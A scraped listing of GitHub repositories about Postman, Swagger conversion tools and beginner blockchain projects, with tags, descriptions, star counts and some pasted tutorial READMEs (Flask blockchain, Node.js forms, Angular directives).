Hellow Guys, This Script is Useful who want to develop api in core php with mysqli. This Code is Working 100% so no chance for any issue or Error. to GET Response use POSTMAN Extension. Thank You... | 0 stars | 0 watchers | 0 forks |
shahidur1/SpringBootMysqlHibernateRestApi_PostmanAngularOK api blueprint, asyncapi, json schema, oauth, openid, sql |
SpringBootMysqlHibernateRestApi_PostmanAngular Test OK | 0 stars | 0 watchers | 0 forks |
sharejee-prepare-teach/access-oauth2-with-postman access, api blueprint, asyncapi, auth, json schema, oauth, oauth2, openid, prepare, sql |
0 stars | 0 watchers | 0 forks | |
Suman-eng/SpringOAuthWithPostmanAndMysql api blueprint, asyncapi, json schema, oauth, openid, sql |
OAuth Authentication In Spring Boot | 0 stars | 0 watchers | 0 forks |
vertical-sudhir/SBMysqlCrudDemo api blueprint, asyncapi, json schema, oauth, openid, sql |
Spring Boot CRUD using MySql Database, Postman | 0 stars | 0 watchers | 0 forks |
Victor10-m/mysql-nodejs-rest-api api blueprint, asyncapi, json schema, mysql, node, nodejs, oauth, openid, rest, sql, todo |
Este repositorio tiene conexion a BD en mysql usa metodos get, post, put, delete desde postman | 0 stars | 0 watchers | 0 forks |
wesjones15/learning-apis-sql api blueprint, asyncapi, json schema, learn, learning, oauth, openid, sql |
Python, APIs, SQL, Postman, Docker | 0 stars | 0 watchers | 0 forks |
xinsnake/oauth-cmd-helper api blueprint, asyncapi, auth, helper, json schema, oauth, openid, sql |
OAuth2 Command Line helper... Tired of using Browser + Postman... | 0 stars | 0 watchers | 0 forks |
postmanlabs/swagger2-to-postman swagger, swagger2 |
Converter for swagger 2.0 JSON to Postman Collection | 89 stars | 89 watchers | 47 forks |
postmanlabs/swagger2-postman2 convert, library, swagger, swagger2 |
Module and library to convert Swagger 2.0 to a Postman Collection (v2.0) | 30 stars | 30 watchers | 28 forks |
djfdyuruiry/swagger2-postman-generator bodies, collection, collections, generate, generator, sample, swagger, swagger2 |
Use Swagger v2 JSON Collections to generate Postman v1 collections which include sample request bodies | 28 stars | 28 watchers | 14 forks |
IntegrateDev/postman2swagger2 swagger, swagger2 |
Convert Postman JSON to Swagger 2 JSON | 16 stars | 16 watchers | 4 forks |
yuun/aws-apigateway-exporter export, exporter, exporting, extension, extensions, file, form, format, gateway, integration, json, script, swagger, yaml |
Python script for exporting an API Gateway stage to a swagger file, in yaml or json format, with Postman or API Gateway integrations extensions. | 8 stars | 8 watchers | 1 forks |
mgicode/mgicode-interface-test boot, hibernate, interface, spring, spring boot, swagger, test |
把自动化接口测试和spring boot Controller层的单元测试相结合起来,根据hibernate validator和swagger ui定义的格式自动生成测试数据和测试用例,保证接口的参数的严格性,同时又可以通过简单的Json配置文件来生成业务测试用例,提供 postman、swaggerui、 rap相关接口测试的转换,既可作为单元测试来运行,也可以自动部署到Jenkins中做接口的自动化测试,提高开发测试的工作效率 | 6 stars | 6 watchers | 4 forks |
josephpconley/swagger2postman collection, document, documentation, swagger, swagger2 |
Create a Postman collection from live Swagger documentation | 0 stars | 0 watchers | 14 forks |
skarl-api/skarl-api debug, perfect, swagger |
API Document view and debug, perfect combination of swagger | 3 stars | 3 watchers | 0 forks |
postmanlabs/swagger2-postman2-lambda description, lambda, script, swagger, swagger2 |
No description available. | 1 stars | 1 watchers | 1 forks |
lucklrj/Postman2SwaggerComment json, swagger |
将postman导出的json数据转换为swagger的注释文档 | 1 stars | 1 watchers | 1 forks |
raw34/postman-collection-generators charles, collection, file, files, generator, generators, openapi, postman collection, swagger |
Generate postman collection from files, like postman, openapi, swagger, charles... | 1 stars | 1 watchers | 0 forks |
donalfenwick/Swashbuckle.SwaggerToPostman collection, generate, generated, library, middleware, postman collection, schema, swagger |
AspNetCore middleware which uses the Swashbuckle.AspNetCore library produce a postman collection (v2.1) from the swagger schema generated by swashbuckle. | 1 stars | 1 watchers | 0 forks |
myoperator/swagman convert, converte, converter, swagger |
A Postman to swagger api converter using openAPI v3 | 1 stars | 1 watchers | 0 forks |
nuxeo-sandbox/nuxeo-swagger convert, description, form, format, import, importable, nuxeo, portable, sandbox, script, swagger, tool, tools, type, types |
Tools to convert the Nuxeo Swagger 1.2 descriptions to an importable format for Postman and other types of tools. | 1 stars | 1 watchers | 0 forks |
seblegall/postmanify collection, swagger, swagger2 |
Convert swagger2 doc into postman2 collection. | 1 stars | 1 watchers | 0 forks |
sshocked/swagpostception collection, postman collection, rating, spec, swagger, test |
Generating codeception api test from your postman collection or swagger spec | 1 stars | 1 watchers | 0 forks |
tecfu/postman-to-swagger swagger |
Convert Postman 2.1 Collections to Swagger 2.0 | 1 stars | 1 watchers | 0 forks |
zhangmazi/json2swagger3-php json, swagger |
Postman的Request和Response结构转Swagger3-PHP(OPENAPI3)工具 | 1 stars | 1 watchers | 0 forks |
NordeaOB/swaggers file, files, swagger |
Nordea Open Banking API Swagger and Postman files | 0 stars | 0 watchers | 2 forks |
sarmadsaleem/swagger2postman description, script, swagger, swagger2 |
No description available. | 0 stars | 0 watchers | 1 forks |
codejamninja/mockgen collection, collections, data, mock, postman collection, postman collections, swagger |
Generate mock data from postman collections or swagger data | 0 stars | 0 watchers | 0 forks |
davidjgonzalez/swagger-to-postman-collections collection, collections, description, script, swagger |
No description available. | 0 stars | 0 watchers | 0 forks |
thneeb/swagger2postman collection, file, generate, generated, json, node, nodejs, postman collection, spec, swagger, swagger2, test, testing, tool |
This little nodejs tool gets a swagger.json on the one hand and generated a postman collection file for testing the specified api on the other hand. | 0 stars | 0 watchers | 0 forks |
Bdthomson/swagger2postman description, script, swagger, swagger2 |
No description available. | 0 stars | 0 watchers | 0 forks |
bennzhang/spring-boot-swagger2-demo boot, description, script, spring, swagger, swagger2 |
No description available. | 0 stars | 0 watchers | 0 forks |
campfire-inc/swagger2postman description, script, swagger, swagger2 |
No description available. | 0 stars | 0 watchers | 0 forks |
CurtisCBS/postman-swagger description, script, swagger |
No description available. | 0 stars | 0 watchers | 0 forks |
developer-kikikaikai/swagger2-to-postman-sample developer, github, http, https, sample, swagger, swagger2 |
sample to use https://github.com/postmanlabs/swagger2-to-postman | 0 stars | 0 watchers | 0 forks |
DLP-Remote-DevEnv/postman-swagger-integration description, integration, script, swagger |
No description available. | 0 stars | 0 watchers | 0 forks |
postmanlabs/swagger1-to-postman description, script, swagger |
No description available. | 0 stars | 0 watchers | 0 forks |
sinchang-bot/postman-to-swagger description, script, swagger |
No description available. | 0 stars | 0 watchers | 0 forks |
StephaneP/swagger-to-postman-action action, description, script, swagger |
No description available. | 0 stars | 0 watchers | 0 forks |
zamd/postman-to-swagger description, script, swagger |
No description available. | 0 stars | 0 watchers | 0 forks |
abelmokadem/swagger-coverage-postman collection, coverage, definition, swagger |
Generate API coverage between your Swagger definition and Postman collection | 0 stars | 0 watchers | 0 forks |
AlexMoroz/swagger2posman collection, continuous, development, environment, generation, swagger, swagger2 |
Idea: continuous generation of Postman collection and environment from swagger during development | 0 stars | 0 watchers | 0 forks |
antonshell/postman2swagger collection, postman collection, swagger |
Convert postman collection to swagger | 0 stars | 0 watchers | 0 forks |
braindrifters/postman-to-swagger collection, postman collection, swagger, util |
util to create swagger yml from postman collection | 0 stars | 0 watchers | 0 forks |
catpeter/rap2service json, service, swagger |
1.swagger/postman转格式,存入rap2数据库 rap2格式转为swagger json | 0 stars | 0 watchers | 0 forks |
christherama/swagger-to-postman bodies, collection, spec, swagger |
Converts a Swagger JSON spec to a Postman collection with request bodies | 0 stars | 0 watchers | 0 forks |
codeasashu/swagman convert, converte, converter, swagger |
A Postman to swagger api converter using openAPI v3 | 0 stars | 0 watchers | 0 forks |
galaxybing/rap2service json, service, swagger |
postman/swagger change to rap2 把postman/swagger的json文件导入到rap2中 | 0 stars | 0 watchers | 0 forks |
h-g-c/postManager boot, spring, springboot, swagger |
使用swagger+springboot+mybatis搭建一个邮局管理系统 | 0 stars | 0 watchers | 0 forks |
imikemiller/lumen-swagger-generators docs, generator, generators, import, imported, library, parse, parser, swagger, wrapper |
A wrapper for the swagger-php library. Does not include swagger-ui the docs JSON can be imported into Postman or another Swagger / Open API parser | 0 stars | 0 watchers | 0 forks |
jhaoheng/apigen swagger |
postman to swagger | 0 stars | 0 watchers | 0 forks |
lyguoguo/swagger-demo swagger |
这是一个swagger演示项目,用于前后端分离场景开发或替代postman进行接口测试 | 0 stars | 0 watchers | 0 forks |
osplaza32/ENTEL-swagger-integration-postman generar, integration, swagger |
Script para generar swagger desde postman | 0 stars | 0 watchers | 0 forks |
parkerleblanc01/rails_template auth, rails, resource, sample, source, spec, swagger, template, test, tests, token |
Rails 6 API template with token auth, swagger, rspec tests, postman and a sample resource. | 0 stars | 0 watchers | 0 forks |
patrick-lai/postman-to-swagger docs, express, swagger |
Serve postman docs with swagger-ui-express | 0 stars | 0 watchers | 0 forks |
PrajaktaDiware/Angular4-jSONEditor angular, editor, json, swagger |
It is angular 4 json editor just like an postman and swagger used in Mvc | 0 stars | 0 watchers | 0 forks |
prashant65018/redoc_pro collection, docs, import, local, multiple, redoc, spec, swagger |
redoc your swagger docs with additional functioanlity of loading multiple API's with "try it feature" and directly import respective API collection in local postman app through "Run in Postman" option | 0 stars | 0 watchers | 0 forks |
proctorlabs/swagger2postman-cli collection, collections, container, convert, converting, document, documents, postman collection, postman collections, swagger, swagger2 |
A Docker container for converting swagger (OpenAPI v2) documents to postman collections | 0 stars | 0 watchers | 0 forks |
rdiram01/Api-Swagger-From-Postman docs, integration, swagger |
Api swagger docs from Postman APIMatic integration | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
shaqq/swagger2-to-postman-cli swagger, swagger2, wrapper |
Simple CLI wrapper over swagger2-to-postman | 0 stars | 0 watchers | 0 forks |
sharrop/swag-post-gen excel, fields, file, form, generator, inject, module, require, required, swagger, swagger2, test, tests, type |
A Swagger(OAS)v2-to-Postman generator - very much sitting on the shoulders of the excellent npm:swagger2-postman-generator module, but injecting Postman tests for required fields and type conformance - derived from the Swagger/OAS file. | 0 stars | 0 watchers | 0 forks |
testProjekten/medium-Tdd-Js-Swggr-Dckr agile, development, docker, drive, driven, github, http, https, jenkins, newman, swagger, test |
Implementing this post Project https://medium.com/nycdev/agile-and-test-driven-development-tdd-with-swagger-docker-github-postman-newman-and-jenkins-347bd11d5069 | 0 stars | 0 watchers | 0 forks |
postmanlabs/chai-postman assert, chai, plugin |
Chai plugin to assert on Postman Collections | 13 stars | 13 watchers | 7 forks |
onkarpandit/cryptocurrency blockchain, chai, crypto, cryptocurrency, currency, frontend, implementation, java, local, locally, script |
My own cryptocurrency implementation with blockchain and frontend using java script.Hosted locally on postman. | 2 stars | 2 watchers | 0 forks |
adineshreddy1/SupplyChainManagementIntoBlockchain blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking |
A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. | 1 stars | 1 watchers | 0 forks |
vishnoitanuj/Blockchain-Cryptocurrency basics, blockchain, chai, crypto, currency, file, flask, implementation, server, server., servers, struct, suggest, welcome |
A basic implementation of blockchain based on flask server. It servers the basics of crypto-currency technology. The genesis, block constructor and its use are explained in the read-me file. Any suggestions are welcomed. | 0 stars | 0 watchers | 2 forks |
arkhaminferno/Blockchain-BlockMiner blockchain, browser, chai, interface, retrieve |
Implementation of Practical Blockchain Mining,A simple blockchain which can be mined, retrieved or verified using a web interface like a browser or Postman. | 1 stars | 1 watchers | 0 forks |
FLYINGKRIPTO/FristBlockchainApplication action, blockchain, chai, function, functional |
This blockchain basic functionality app is made on Python using Flask and User interaction on Postman | 1 stars | 1 watchers | 0 forks |
norchain/NEORPC_PostMan chai |
The Postman Collection to make NEO RPC calls | 1 stars | 1 watchers | 0 forks |
shantaly/Blockchain chai, description, script |
No description available. | 1 stars | 1 watchers | 0 forks |
teheperor/dvf-blockchain blockchain, chai |
Learn Blockchains by Building One - HackerNoon.comをPython以外のプログラミング言語で写経 | 1 stars | 1 watchers | 0 forks |
tomvanschaijk/romanian-violet-rollsroyce chai, dotnet, play, playground |
A small little project as a playground for dotnetcore 3, using an api, blazor, postman, ... | 1 stars | 1 watchers | 0 forks |
chaithuj/webservices-automation automat, automation, chai, service, services, webservice, webservices |
Automation web services using postman | 0 stars | 0 watchers | 0 forks |
Harshrajsinh96/Crypto_APIs action, blockchain, chai, crypto, currency, data, framework, setup, test, tested |
Created REST APIs for a blockchain crypto-currency where Wallet and Transactions entities were handled using SQLAlchemy mapper in Flask framework and the data was persisted in SQLite DB. Whole setup with GET/POST/DELETE request was tested on Postman. | 0 stars | 0 watchers | 0 forks |
ajanet379/blockchain-postman blockchain, chai |
A demo on blockchain technology using postman | 0 stars | 0 watchers | 0 forks |
akp111/Blockchain blockchain, chai, mini |
A small project on mining blocks for blockchain and interfacing the blocks using postman | 0 stars | 0 watchers | 0 forks |
andela-Taiwo/Document_Manager access, accessed, chai, document, documents, enable, store, tool, track, user |
Reliable-Docs API is an API developed to enable user to track, manage and store documents. The end points can be accessed with Postman or alternate API toolchain. | 0 stars | 0 watchers | 0 forks |
beto-aveiga/blockchain-example blockchain, browser, chai, example, interface, retrieve |
A simple blockchain which can be mined, retrieved or verified using a web interface like a browser or Postman | 0 stars | 0 watchers | 0 forks |
chaitasipatel25/restExample chai, rest |
Testing Postman Rest API | 0 stars | 0 watchers | 0 forks |
Dischain/cli-postman chai, console, e mail, mail, send, sender |
simple console mail sender | 0 stars | 0 watchers | 0 forks |
dorukismen/blockchain_python blockchain, chai, python |
To create and mine a blockchain on python with Flask and Postman | 0 stars | 0 watchers | 0 forks |
harrkane/Blockchain chai, function, functional |
A functional Blockchain created using Python and Flask; it is implemented using Postman | 0 stars | 0 watchers | 0 forks |
HP213/My_first_blockchain blockchain, chai, concept, current, hashi, http, https, local, locally, route, routes, running, server, server., web app |
This is a blockchain created with help of Python. This is basically a web app running locally on your server. This contains hashing algorithm using SHA256 and same concept of timestamp and nonce. Use Postman for better experience and all routes currently works on GET request. Download Postman from here-> https://www.getpostman.com/ | 0 stars | 0 watchers | 0 forks |
HP213/My_first_cryptocurrency action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user |
Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more | 0 stars | 0 watchers | 0 forks |
IndraTeja/blockchain-postman blockchain, chai, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
infinit-loop/Automation-Testing-of-Blockchain-Using-Postman automat, automation, chai, private, test, testing |
starting with automation testing to finally develop private Blockchain. | 0 stars | 0 watchers | 0 forks |
mdsalik7/Blockchain chai, test, testing |
Building a Blockchain on Python using Web Application Framework Flask and testing it on Postman | 0 stars | 0 watchers | 0 forks |
paramountgroup/RESTful-API-with-Nodejs application, blockchain, chai, city, data, developer, framework, group, host, local, per project, private, program, retrieve, submit |
Udacity Blockchain developer project RESTful Web API with Node.js Framework by Bob Ingram. This program creates a web API using Node.js framework that interacts with my private blockchain and submits and retrieves data using an application like postman or url on localhost port 8000. | 0 stars | 0 watchers | 0 forks |
raghwendra-sonu/APIChainingInPostman chai, data, http, https |
https://medium.com/@Raghwendra.sonu/postman-chain-api-requests-get-data-from-response-of-one-api-and-refer-in-another-api-d3bb184c2dd1 | 0 stars | 0 watchers | 0 forks |
rdchaitanya/postman chai, version |
Postman stable version | 0 stars | 0 watchers | 0 forks |
rkaiwang/Python-Blockchain- action, blockchain, chai, host, local, order, server, submit, transactions, verifications |
This is simple blockchain which you can use to create basic transactions and verifications. It creates a local server to host the blockchain, and uses Postman to submit POST and GET requests in order to create transactions. | 0 stars | 0 watchers | 0 forks |
roicoroy/ionic4-plugin-push chai, integrate, integrated, ionic, message, plugin, push, send |
ionic 4 plugin push integrated with Firebase fcm, able to send a chain message from postman | 0 stars | 0 watchers | 0 forks |
SentinelWarren/blockchain_prototyping blockchain, chai, implementation |
Experimenting around blockchain implementation [code base]. | 0 stars | 0 watchers | 0 forks |
sixfwa/simple-blockchain blockchain, chai |
A simple blockchain which can be mined using the Postman API | 0 stars | 0 watchers | 0 forks |
SudharshanShanmugasundaram/Blockchain chai, general |
Implementation of a general purpose Blockchain | 0 stars | 0 watchers | 0 forks |
ycberrehouma/edchain-ba-api chai, edchain |
Edchain Android API | 0 stars | 0 watchers | 0 forks |
ZSoulaimane/API-and-Network-Blockchain chai, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
krisker/simple_blockchain blockchain, chai |
简易的区块链实现,可以使用postman进行实现 | 0 stars | 0 watchers | 0 forks |
Gyanachand1/Blockchain action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user |
# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
rodrigog10/blockchain blockchain, chai |
Blockchain Estrutura Básica com Flask e Postman | 0 stars | 0 watchers | 0 forks |
VueVindicator/Blockchain blockchain, chai, describes, express, java, javascript, network, script |
This is a short project that describes the workings of a blockchain network. Built with javascript, express.js and postman | 0 stars | 0 watchers | 0 forks |
MarcosEllys/awesome-newman-html-template html, newman, report, sunglasses, template |
:sunglasses: A newman html report very detailed | 53 stars | 53 watchers | 48 forks |
mugennsou/postman2doc collection, html, json, markdown, postman collection |
Convert postman collection.json to markdown/html/docx. | 24 stars | 24 watchers | 5 forks |
DannyDainton/newman-reporter-htmlextra helper, helpers, html, module, newman, report, reporter, template, templates |
A HTML reporter for Postman's Command Line Runner, Newman. Includes Non Aggregated Runs broken down by Iterations, Skipped Tests, Console Logs and the handlebars helpers module for better custom templates. | 0 stars | 0 watchers | 34 forks |
richardleggett/postman2html description, html, script |
No description available. | 7 stars | 7 watchers | 1 forks |
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that 